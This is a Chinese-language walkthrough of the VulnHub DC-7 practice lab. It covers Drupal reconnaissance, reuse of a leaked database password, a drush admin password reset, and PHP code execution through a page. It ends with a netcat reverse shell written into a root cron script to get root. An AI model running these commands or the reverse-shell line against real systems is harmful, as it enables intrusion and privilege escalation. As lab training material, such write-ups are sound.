vulnhub靶场DC-7

靶场描述

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

While this isn't an overly technical challenge, it isn't exactly easy.

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.

What you will need to do, is to think "outside" of the box.

Waaaaaay "outside" of the box. :-)

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

这一段靶场描述 给我们的提示是 爆破/字典攻击/跳出框框(可能涉及到一些非常规的手段)

渗透靶场

一、信息搜集

先扫ip

nmap 192.168.160.0/24

image-20240304212705072

ip为192.168.160.128开放了22端口和80端口

在扫描具体的端口

nmap -A -p- -v 192.168.160.128

image-20240304212919172

开放22端口 存在ssh服务 Openssh 版本7.4p1
开放80端口 存在web服务 使用Apache中间件 版本2.4.25

扫一下网站目录 扫到登陆页面

/user/login/

在使用whatweb进行CMS识别 可以看到和DC-1一样 都是使用Drupal框架进行搭建的网站 版本是Drupal 8

image-20240305151232689

二、访问网站

image-20240304213117378

网站首页的内容

DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are.  :-)

While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.

What you will have to do, is to think "outside" the box.

Way "outside" the box.  :-)

还是提醒我们这个靶场引入了一些新东西 如果进行爆破或者字典攻击,可能不会成功 需要跳出框框 找一些新方法

尝试用searchsploit和msfconsole搜索漏洞脚本 进行渗透 没有用

上面也说了爆破或者字典攻击没有用 那也就不考虑在用户登录页面上做文章了

尝试在搜索页面进行命令注入 也没有用

image-20240305165627743

在主页面下面看到一个@DC7USER标识 搜一下 找到一个github账号

image-20240305165740321

里面有个员工数据库

image-20240305165822938

config.php 里面找到了数据库登陆的账号和密码

<?php
    $servername = "localhost";
    $username = "dc7user";
    $password = "MdR3xOgB7#dW";
    $dbname = "Staff";
    $conn = mysqli_connect($servername, $username, $password, $dbname);
?>

三、远程登陆

使用这组账号密码可以直接ssh远程登录

image-20240305170150430

四、修改网站后台登陆密码

当前文件夹为/home/dc7user 有一个backups文件夹和mbox文件 进入backups文件夹查看

image-20240305203346429

两个gpg文件 是加密的文件 没有密钥打不开 在看mbox文件 是一些root用户的操作记录

image-20240305203945043

发现每隔15分钟 就会将执行一次/opt/scripts/backups.sh 这个文件 并且将数据库备份保存在/home/dc7user/backups/website.sql这个文件中 并使用gpg进行加密 我们看一下backups.sh 这个可执行文件

image-20240305204248369

逐条分析一下backups.sh里面执行的命令
1.删除/home/dc7user/backups/ 下的所有文件
2.进入cd /var/www/html/ 目录下
3.使用drush命令 将/var/www/html/ 目录下的网站数据库进行备份 保存在/home/dc7user/backups/website.sql中
其中Drush 是一种流行的用于管理 Drupal 站点的命令行工具。它提供了许多功能,包括备份数据库、安装模块、更新核心和模块等。
4.回到上一级目录
5.使用tar命令将/var/www/html/ 目录下所有文件进行打包 保存在/home/dc7user/backups/website.tar.gz中
6.7.使用gpg命令对website.sql和websitge.sql.gz进行加密
8.将 /home/dc7user/backups/ 目录下所有文件的所有权设置为 dc7user 用户和组。
9.10.删除未加密的website.sql和website.sql.gz

那么关键点就在于上面提到的drush这个命令 这个命令允许我们对Drupal框架搭建的网站的登陆密码进行修改 但是需要在网站的根目录下执行

Drupal drush命令详解

格式:
drush upwd root --password="****"

image-20240305210304528

修改成功

五、进入网站后台

我们使用admin/admin 进入网站后台

image-20240305210453101

关于Drupal这个框架 本身没有什么漏洞点可以帮助我们拿到shell 在网站翻找可以进行命令注入的点

Content-Add content-Basic page 处 我们可以进行新建页面 经过抓包测试 可以上传命令

image-20240315204113248

image-20240315204129113

但是会发现并不能解析上传的命令 会把我们上传的语句的头和尾破坏掉

image-20240315213035434

image-20240315213044605

原因是Drupal 8为了安全 不能单独解析php 需要单独添加一个php模块 才可以解析

php模块下载地址

image-20240331110929528

image-20240331111050044

image-20240331111103733

image-20240331111241197

六、反弹shell

成功安装之后 我们再来进行命令执行一下

image-20240331111525132

image-20240331111529763

执行成功 现在我们尝试弹一下shell

image-20240331111952742

image-20240331112010869

反弹成功 创建一个交互式窗口

image-20240331112128442

七、提权

上面提到/opt/scripts/backups.sh 是由root账户进行执行的 我们看一下这个文件的权限

cd /opt/scripts
ls -l

image-20240331180035482

这说明文件所属组是www-data 同时这个用户也具有读写执行权限 那我们可以使用这个文件在进行反弹shell 得到root权限账户

将这段反弹shell的语句写入backups.sh

echo "nc 192.168.204.129 1234 -e /bin.bash" >backups.sh

我们在另起一个终端进行监听端口

nc -lvvp 1234

等最多15分钟 自动执行backups.sh 就可以看到成功拿到shell 并且是root权限

image-20240331204422819

我们创造一个交互式窗口 进入root文件夹 拿到flag

image-20240331204535397

总结

1.drush命令可以修改Drupal框架搭建的网站 但是要在网站根目录下执行

2.Drupal8框架为了安全 禁用了php模块 需要自行安装php模块才能成功进行命令执行

3.当存在文件所有者为root用户 但是文件所属组是当前用户 且当前用户还对这个可执行文件存在读写执行权限的时候 可以在这个可执行文件中写入反弹shell的语句来获得root权限